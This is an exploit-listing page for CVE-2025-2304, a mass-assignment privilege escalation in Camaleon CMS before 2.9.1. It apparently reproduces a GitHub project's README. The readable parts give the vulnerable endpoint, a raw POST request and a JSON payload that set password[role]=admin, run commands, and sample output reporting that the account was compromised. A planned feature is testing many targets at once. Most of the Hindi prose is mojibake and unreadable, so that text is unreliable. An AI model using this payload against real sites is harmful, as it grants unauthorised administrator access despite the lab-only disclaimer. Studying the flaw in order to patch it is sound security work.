Sploitus

CVE-2025-2304-exploit

kitploit ┬╖ 2026-08-25

Exploit Code

MARKDOWN218 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JEANBACK1-CVE-2025-2304-EXPLOIT
# CVE-2025-2304 - Camaleon CMS рдорд╛рд╕ рдЕрд╕рд╛рдЗрдирдореЗрдВрдЯ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐

## ЁЯУМ рдкрд░рд┐рдпреЛрдЬрдирд╛ рд╡рд┐рд╡рд░рдг

**CVE-2025-2304** Camaleon CMS (рд╕рдВрд╕реНрдХрд░рдг < 2.9.1) рдореЗрдВ рдПрдХ рдорд╛рд╕ рдЕрд╕рд╛рдЗрдирдореЗрдВрдЯ рднреЗрджреНрдпрддрд╛ рд╣реИ рдЬреЛ рдПрдХ рдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдкрд╛рд╕рд╡рд░реНрдб рдмрджрд▓рдиреЗ рдХреЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ `role` рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рдХрд░рдХреЗ рдЕрдкрдиреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рддрдХ рдмрдврд╝рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред

![Python 3.x](https://img.shields.io/badge/python-3.6+-blue) ![License](https://img.shields.io/badge/license-MIT-green) ![Security](https://img.shields.io/badge/security-research-orange) ![Status](https://img.shields.io/badge/status-PoC%20Lab%20Only-red)

## ЁЯЪи рддрдХрдиреАрдХреА рднреЗрджреНрдпрддрд╛ рд╕реНрдкрд╖реНрдЯреАрдХрд░рдг

### рднреЗрджреНрдпрддрд╛ рд╕рдВрджрд░реНрдн

Camaleon CMS Ruby on Rails рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╕рдВрд╕реНрдХрд░рдг 2.9.0 рдореЗрдВ `UsersController#updated_ajax` рдирд┐рдпрдВрддреНрд░рдХ рдореЗрдВ рдПрдХ **рдорд╛рд╕ рдЕрд╕рд╛рдЗрдирдореЗрдВрдЯ** рднреЗрджреНрдпрддрд╛ рд╣реИред рдирд┐рдпрдВрддреНрд░рдХ рдмрд┐рдирд╛ рдХрд┐рд╕реА рдкреНрд░рддрд┐рдмрдВрдз рдХреЗ `.permit!` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЕрдиреБрд░реЛрдз рдореЗрдВ рднреЗрдЬреЗ рдЧрдП рдХрд┐рд╕реА рднреА рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рд╕реАрдзреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдореЙрдбрд▓ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

### рд╣рдорд▓рд╛ рд╡реЗрдХреНрдЯрд░

  1. **рдХрдордЬреЛрд░ рдПрдВрдбрдкреЙрдЗрдВрдЯ** : `POST /admin/users/{user_id}/updated_ajax`
  2. **рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреИрд░рд╛рдореАрдЯрд░** : `password` рдирд╛рдо рд╕реНрдерд╛рди рдХреЗ рднреАрддрд░ рднреЗрдЬрд╛ рдЧрдпрд╛ `password[role]`
  3. **рддрдВрддреНрд░** : рдирд┐рдпрдВрддреНрд░рдХ `params.require(:password)` рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ `.permit!` рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ **рдХрд┐рд╕реА рднреА рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдирд╣реАрдВ рдХрд░рддрд╛**
  4. **рдкрд░рд┐рдгрд╛рдо** : рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ `role` рдлрд╝реАрд▓реНрдб рдореЗрдВ `"admin"` рдорд╛рди рдХрд╛ рдЗрдВрдЬреЗрдХреНрд╢рди



### рддрдХрдиреАрдХреА рдкреНрд░рд╡рд╛рд╣

root@kitploit:~
    
    
    POST /admin/users/3/updated_ajax
    Content-Type: application/x-www-form-urlencoded
    
    authenticity_token=[TOKEN]&
    password[password]=new_password&
    password[password_confirmation]=new_password&
    password[role]=admin&
    password[id]=3&
    _method=patch
    

`password[role]` рдкреИрд░рд╛рдореАрдЯрд░ `User.update(permitted_params)` рджреНрд╡рд╛рд░рд╛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ `.permit!` рдХреЗ рдХрд╛рд░рдг рд╕реАрдзреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд░рд┐рдХреЙрд░реНрдб рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ `user` рд╕реЗ `admin` рддрдХ рдмрдврд╝ рдЬрд╛рддреЗ рд╣реИрдВред

## тЪб рд╕реНрдерд╛рдкрдирд╛ рдФрд░ рдЙрдкрдпреЛрдЧ

### рдкреВрд░реНрд╡рд╛рдкреЗрдХреНрд╖рд╛рдПрдБ

root@kitploit:~
    
    
    # Python 3.6+
    python3 --version
    
    # Required libraries
    pip install requests
    

### рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрди

#### рдЕрдВрдЧреНрд░реЗрдЬрд╝реА рд╕рдВрд╕реНрдХрд░рдг:

root@kitploit:~
    
    
    python3 exploit_cve_2025_2304_en.py
    

#### рд╕реНрдкреЗрдирд┐рд╢ рд╕рдВрд╕реНрдХрд░рдг:

root@kitploit:~
    
    
    python3 exploit_cve_2025_2304.py
    

### рдЖрд╡рд╢реНрдпрдХ рдЗрдирдкреБрдЯ

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рд░реВрдк рд╕реЗ рдкреВрдЫреЗрдЧреА:

  1. **рд╕рд░реНрд╡рд░ рдЖрдзрд╛рд░ URL** : `http(s)://domain:port`
  2. **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЖрдИрдбреА** : рд╣рдорд▓рд╛рд╡рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛
  3. **рд╕рддреНрд░ рдХреБрдХреА** : `_cms_session` рдорд╛рди (рд▓реЙрдЧрд┐рди рдХреЗ рдмрд╛рдж рдкреНрд░рд╛рдкреНрдд)
  4. **рдирдпрд╛ рдкрд╛рд╕рд╡рд░реНрдб** : рд╡реИрдХрд▓реНрдкрд┐рдХ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: `P@ssw0rd_lab_2025!`)



### рдкреВрд░реНрдг рдХрдорд╛рдВрдб рдЙрджрд╛рд╣рд░рдг

root@kitploit:~
    
    
    python3 exploit_cve_2025_2304_en.py
    

root@kitploit:~
    
    
    [?] Base URL of the server (ex: http://localhost:3000) : http://192.168.1.100:8080
    [?] User ID of the attacker user (ex: 3) : 5
    [?] Session cookie (_cms_session=VALUE) : _cms_session=abc123def456
    

## ЁЯФз рдЗрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ

### рдореИрдВрдиреЗ рдпрд╣ рдХреНрдпреЛрдВ рдмрдирд╛рдпрд╛?

рдЬрдм рдореБрдЭреЗ рдпрд╣ рднреЗрджреНрдпрддрд╛ рдорд┐рд▓реА, рддреЛ рдореЗрд░реА рдкрд╣рд▓реА рдкреНрд░рд╡реГрддреНрддрд┐ рдЗрд╕реЗ Burp Suite рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреА рдереА тАФ рдФрд░ рдпрд╣ рдХрд╛рдо рдХрд░ рдЧрдпрд╛ред рд▓реЗрдХрд┐рди рдореИрдВ рдПрдХ рдХрджрдо рдФрд░ рдЖрдЧреЗ рдЬрд╛рдирд╛ рдЪрд╛рд╣рддрд╛ рдерд╛ рдФрд░ рдЙрд╕ рдореИрдиреБрдЕрд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдХреБрдЫ рджреЛрд╣рд░рд╛рдиреЗ рдпреЛрдЧреНрдп рдФрд░ рдкреЛрд░реНрдЯреЗрдмрд▓ рдореЗрдВ рдмрджрд▓рдирд╛ рдЪрд╛рд╣рддрд╛ рдерд╛, рдЗрд╕рд▓рд┐рдП рдореИрдВрдиреЗ рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓рд┐рдЦреАред рдмрдЧ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЗрд╕реЗ рдмрдирд╛рдиреЗ рдиреЗ рдореБрдЭреЗ рдХреБрдЫ рдЪреАрдЬреЛрдВ рдкрд░ рдХрд╛рдо рдХрд░рдиреЗ рдХрд╛ рдореМрдХрд╛ рджрд┐рдпрд╛ рдЬреЛ рдореБрдЭреЗ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рд▓рдЧрддреА рд╣реИрдВ:

  * рд╕рддреНрд░ рд╣реИрдВрдбрд▓рд┐рдВрдЧ рдХреЗ рд╕рд╛рде рдмрд╣реБ-рдЪрд░рдг HTTP рдкреНрд░рд╡рд╛рд╣ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рдирд╛
  * рд▓рд╛рдЗрд╡ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рд╕реЗ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ CSRF рдЯреЛрдХрди рдкрд╛рд░реНрд╕ рдХрд░рдирд╛
  * рдПрдХ рд╣реА рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╕реЗ рдЕрд╕рдВрдЧрдд JSON/HTML рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рд╕реЗ рдирд┐рдкрдЯрдирд╛
  * рдпрд╣ рдЬрд╛рдирдирд╛ рдХрд┐ рд╢реЛрд╖рдг рдХрдм рд╕рдлрд▓ рд╣реБрдЖ тАФ рдФрд░ рдХрдм рдирд╣реАрдВ рд╣реБрдЖ



рдореИрдВ Burp рдпрд╛ Caido рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реВрдБред рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рд╡реЗ рдЙрдкрдХрд░рдг рдЕрдкреВрд░рдгреАрдп рд╣реИрдВред рдпрд╣ рд╕рд┐рд░реНрдл рд╡рд╣реА рд╣реИ рдЬреЛ рддрдм рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдореИрдВ рдЦреБрдж рдХреЛ рджреЛрд╣рд░рд╛рдиреЗ рдХреЗ рдмрдЬрд╛рдп рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓рд┐рдЦрдирд╛ рдкрд╕рдВрдж рдХрд░рддрд╛ рд╣реВрдБред

## тЪая╕П рдЕрд╕реНрд╡реАрдХрд░рдг рдФрд░ рдиреИрддрд┐рдХ рд╡рд┐рдЪрд╛рд░

### **рдорд╣рддреНрд╡рдкреВрд░реНрдг рдХрд╛рдиреВрдиреА рдЪреЗрддрд╛рд╡рдиреА**

root@kitploit:~
    
    
    рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЗрд╕рдХреЗ рд▓рд┐рдП рд╣реИ:
    - рдирд┐рдпрдВрддреНрд░рд┐рдд рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ рд╡рд╛рддрд╛рд╡рд░рдг
    - рд╡реЗ рд╕рд┐рд╕реНрдЯрдо рдЬрд┐рдирдХреЗ рдЖрдк рд╕реНрд╡рд╛рдореА рд╣реИрдВ рдпрд╛ рдЬрд┐рдирдХреЗ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЗ рдкрд╛рд╕ рд╕реНрдкрд╖реНрдЯ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд╣реИ
    - рд╢реИрдХреНрд╖рд┐рдХ рдЙрджреНрджреЗрд╢реНрдп рдФрд░ рдЕрдзрд┐рдХреГрдд рдЕрдиреБрд╕рдВрдзрд╛рди
    
    рд╕рдЦреНрддреА рд╕реЗ рдирд┐рд╖рд┐рджреНрдз:
    - рдмрд┐рдирд╛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЗ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдЙрдкрдпреЛрдЧ
    - рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЗрд░рд╛рджреЗ рд╕реЗ рдЖрд╡реЗрджрди
    - рдбреЗрдЯрд╛ рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛рдиреВрдиреЛрдВ рдХрд╛ рдЙрд▓реНрд▓рдВрдШрди
    - рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рд╕реЗ рд╕рдордЭреМрддрд╛
    
    рд▓реЗрдЦрдХ рдЗрд╕ рдЙрдкрдХрд░рдг рдХреЗ рджреБрд░реБрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рдирд╣реАрдВ рд╣реИред
    

## ЁЯУК рдЙрджрд╛рд╣рд░рдг рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ

### рд╕рдлрд▓ рдирд┐рд╖реНрдкрд╛рджрди

root@kitploit:~
    
    
    тХФтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХЧ
    тХС        CVE-2025-2304 тФВ Camaleon CMS рдорд╛рд╕ рдЕрд╕рд╛рдЗрдирдореЗрдВрдЯ          тХС
    тХС        рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐: user тЖТ admin                    тХС
    тХС        [рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ / рдирд┐рдпрдВрддреНрд░рд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг]                 тХС
    тХЪтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХРтХЭ
    
    [тЬФ] CSRF рдЯреЛрдХрди рдкреНрд░рд╛рдкреНрдд: abc123def456...
    [тЬФ] рд╢реЛрд╖рдг рд╕рдлрд▓: рд╕рд░реНрд╡рд░ рдиреЗ рдЕрджреНрдпрддрди рдХреА рдкреБрд╖реНрдЯрд┐ рдХреАред
    [тЬФ] рд╕реНрдерд┐рддрд┐: рд╕рдордЭреМрддрд╛
       рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ 5 рдХреЗ рдкрд╛рд╕ рдЕрдм 'admin' рднреВрдорд┐рдХрд╛ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред
    

### рдкреЗрд▓реЛрдб рд╕рдВрд░рдЪрдирд╛

root@kitploit:~
    
    
    {
        "authenticity_token": "abcd1234",
        "password[password]": "P@ssw0rd_lab_2025!",
        "password[password_confirmation]": "P@ssw0rd_lab_2025!",
        "password[role]": "admin",
        "password[id]": "5",
        "_method": "patch"
    }
    

## ЁЯЫа рд░реЛрдбрдореИрдк рдФрд░ рднрд╡рд┐рд╖реНрдп рдореЗрдВ рд╕реБрдзрд╛рд░

### рдирд┐рдпреЛрдЬрд┐рдд рд╕реБрдзрд╛рд░

  1. **рд▓реЙрдЧрд┐рди рдСрдЯреЛрдореЗрд╢рди** : рд╕рддреНрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХреАрдХрд░рдг
  2. **рд╕рдВрд╕реНрдХрд░рдг рдкрд╣рдЪрд╛рди** : рдХрдордЬреЛрд░ рд╕рдВрд╕реНрдХрд░рдг рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯрд┐рдВрдЧ рд╕реНрдХреНрд░рд┐рдкреНрдЯ
  3. рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдкрд╛рдЗрдкрд▓рд╛рдЗрдиреЛрдВ рдореЗрдВ рд╕реНрд╡рдЪреНрдЫ рдЖрдЙрдЯрдкреБрдЯ рдХреЗ рд▓рд┐рдП рд╡рд░реНрдмреЛрдЬрд╝/рдХреНрд╡рд╛рдЗрдЯ рдореЛрдб
  4. **рдереЛрдХ рдкрд░реАрдХреНрд╖рдг** : рдПрдХ рд╕рд╛рде рдХрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ/URL рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛
  5. **рдЙрддреНрдкрдиреНрди рд░рд┐рдкреЛрд░реНрдЯ** : JSON/HTML рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рдкрд░рд┐рдгрд╛рдо рдирд┐рд░реНрдпрд╛рдд рдХрд░реЗрдВ



### рд╡рд┐рд╕реНрддрд╛рд░ рдХреНрд╖рдорддрд╛

рдХреЛрдб рдХреЛ рдореЙрдбреНрдпреВрд▓рд░ рд░реВрдк рд╕реЗ рд╕рдВрд░рдЪрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рддрд╛рдХрд┐ рд╕реБрд╡рд┐рдзрд╛ рд╣реЛ:

  * рдЕрдиреНрдп рдорд╛рд╕ рдЕрд╕рд╛рдЗрдирдореЗрдВрдЯ рднреЗрджреНрдпрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдХреВрд▓рди
  * рдкреЗрдВрдЯреЗрд╕реНрдЯрд┐рдВрдЧ рдлреНрд░реЗрдорд╡рд░реНрдХ рдореЗрдВ рдПрдХреАрдХрд░рдг
  * рд▓реЙрдЧрд┐рдВрдЧ рдФрд░ рдирд┐рдЧрд░рд╛рдиреА рд╕реБрд╡рд┐рдзрд╛рдПрдБ рдЬреЛрдбрд╝рдирд╛



## ЁЯУЪ рд╕рдВрджрд░реНрдн рдФрд░ рд╕рдВрд╕рд╛рдзрди

  * **рдЖрдзрд┐рдХрд╛рд░рд┐рдХ CVE** : CVE-2025-2304
  * **Camaleon CMS** : рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА
  * **рдкреИрдЪ** : рд╕рдВрд╕реНрдХрд░рдг 2.9.1 `.permit!` рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рдареАрдХ рдХрд░рддрд╛ рд╣реИ
  * **Rails рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг** : Strong Parameters



## ЁЯдЭ рдпреЛрдЧрджрд╛рди

рдЬреЛ рдпреЛрдЧрджрд╛рди рдХрд╛ рд╕реНрд╡рд╛рдЧрдд рд╣реИ:

  1. рд╕рдлрд▓рддрд╛ рдХреА рд╕реНрдерд┐рддрд┐ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдореЗрдВ рд╕реБрдзрд╛рд░
  2. рдиреИрддрд┐рдХ рдлреЛрдХрд╕ рдмрдирд╛рдП рд░рдЦрддреЗ рд╣реБрдП рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдЬреЛрдбрд╝рдирд╛
  3. рдмрдЧ рдареАрдХ рдХрд░рдирд╛ рдпрд╛ рддреНрд░реБрдЯрд┐ рдкреНрд░рдмрдВрдзрди рдореЗрдВ рд╕реБрдзрд╛рд░ рдХрд░рдирд╛
  4. рдЕрддрд┐рд░рд┐рдХреНрдд рдЙрдкрдпреЛрдЧ рдХреЗ рдорд╛рдорд▓реЛрдВ рдХрд╛ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг



**рдпрд╛рдж рд░рдЦреЗрдВ** : рдЗрд╕ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╢реИрдХреНрд╖рд┐рдХ рдФрд░ рдЕрдзрд┐рдХреГрдд рдЕрдиреБрд╕рдВрдзрд╛рди рд╣реИред

* * *

_рдЕрдВрддрд┐рдо рдЕрджреНрдпрддрди: рдЕрдкреНрд░реИрд▓ 2025 | рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдХ (рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ рд╡рд╛рддрд╛рд╡рд░рдг) рджреНрд╡рд╛рд░рд╛_